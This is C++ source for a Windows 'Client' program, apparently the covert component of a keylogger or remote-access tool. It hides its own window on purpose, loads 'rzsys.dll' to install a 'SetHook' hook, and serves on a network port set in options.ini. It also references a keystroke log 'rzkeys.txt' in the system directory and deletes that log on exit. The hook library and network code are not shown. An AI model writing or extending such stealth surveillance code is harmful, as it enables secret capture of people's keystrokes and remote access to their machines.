typedef int (__cdecl *MYPROC)(); 
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "resource.h"
#include "OC_Window.h"
#include "OC_Client.h"

#pragma comment( lib, "Ws2_32.lib" )
#define HIDDEN 0  //показывать или скрывать окно клиента (1 - показывать, 0 - скрывать)
#define ClientInf "Client v.1.0beta ue"
int CLIENT_PORT=49152;
bool DLL;
HWND Client_hwnd;

//проверяет существование файла
BOOL FileExists (LPCTSTR fname)
{
    HANDLE hFile = CreateFile (fname,0,FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, 
		NULL,OPEN_EXISTING, FILE_FLAG_NO_BUFFERING | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
    if (INVALID_HANDLE_VALUE != hFile) 
	{
        CloseHandle(hFile);
        return true;
    }
    return false;
}

bool SetNumbers(char st)
{
   int p=0;
   char Numbers[11]="0123456789";
   for(int i=0;i<=10;i++)
   {
	   if(Numbers[i] == (char) st)
			{
				p=100;
			}
   }
if(p == 100) return true;
else
return false;
}


LONG WINAPI WndProc_Main(HWND, UINT, WPARAM,LPARAM);

int WINAPI WinMain(HINSTANCE hInstance,
                   HINSTANCE hPrevInstance,
                   LPSTR     lpCmdLine,
                   int       nCmdShow)
{
 HMODULE dllhook = LoadLibrary(TEXT("rzsys.dll"));
 MYPROC ProcAdd = (MYPROC)GetProcAddress(dllhook, "SetHook");
 if (NULL != ProcAdd) { (ProcAdd)(); DLL=TRUE;}
 else DLL=false;
 FreeLibrary(dllhook);
    MSG msg;

  RECT screen_rect;
  GetWindowRect(GetDesktopWindow(),&screen_rect); // разрешение экрана
  int x = screen_rect.right / 2 - 300;
  int y = screen_rect.bottom / 2 - 100;
	
//****************************************СОЗДАНИЕ ГЛАВНОГО ОКНА ПРОГРАММЫ************************************
	OC_Window MainWindow("MAIN_WINDOW","Client",hInstance,HIDDEN,WndProc_Main,NULL,x,y,50,50);
	ShowWindow(MainWindow.GetHWnd(),HIDDEN);
	Client_hwnd = MainWindow.GetHWnd();
	UpdateWindow(MainWindow.GetHWnd());

    while(GetMessage(&msg,NULL,0,0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int)msg.wParam;

}

LONG WINAPI WndProc_Main(HWND hwnd, UINT Message, WPARAM wparam, LPARAM lparam)
{

    switch (Message)
{

	case WM_CREATE:
		{
		 
		 //загрузка опций клиента
         if(FileExists("options.ini"))
          {
				DWORD dwCount;
				int ncnt=0,i,j=0;
				char HS[6];
				HANDLE IPDAT = CreateFile("options.ini",GENERIC_READ,0,NULL,OPEN_EXISTING,0,NULL);
				ReadFile(IPDAT,HS,5,&dwCount,0);
				for(i=0;i<=5;i++)
				{
					if(SetNumbers(HS[i])==false) HS[i]='\0';
					if( (i==5) && (SetNumbers(HS[5])) ) HS[5]='\0';
				}
				CLIENT_PORT = atoi(HS);
				CloseHandle(IPDAT);          
          }
		  //загрузка опций клиента
          //else MessageBox(hwnd,"Файл настроек не найден\nУстановлен порт 49152","Не найден options.ini",MB_OK);
		  OC_Client::Instance(CLIENT_PORT,hwnd,DLL);
		  char FullLogFile[300];
		  GetSystemDirectoryA(FullLogFile, MAX_PATH);
		  strcat(FullLogFile, "\\rzkeys.txt");
		  if(OC_Client::Instance(CLIENT_PORT,hwnd)->Bind_Error) PostQuitMessage(0);
			else
			{
				while(OC_Client::Instance(CLIENT_PORT,hwnd)->DO_IT() == 0);
					//OC_Client::Instance(CLIENT_PORT,hwnd)->DO_IT();
			DeleteFile(FullLogFile);
			PostQuitMessage(0);
			}
		}

    case WM_DESTROY:
		PostQuitMessage(0);
        break;

    default:
        return (LONG)DefWindowProc(hwnd, Message, wparam, lparam);
    }
    return 0;
}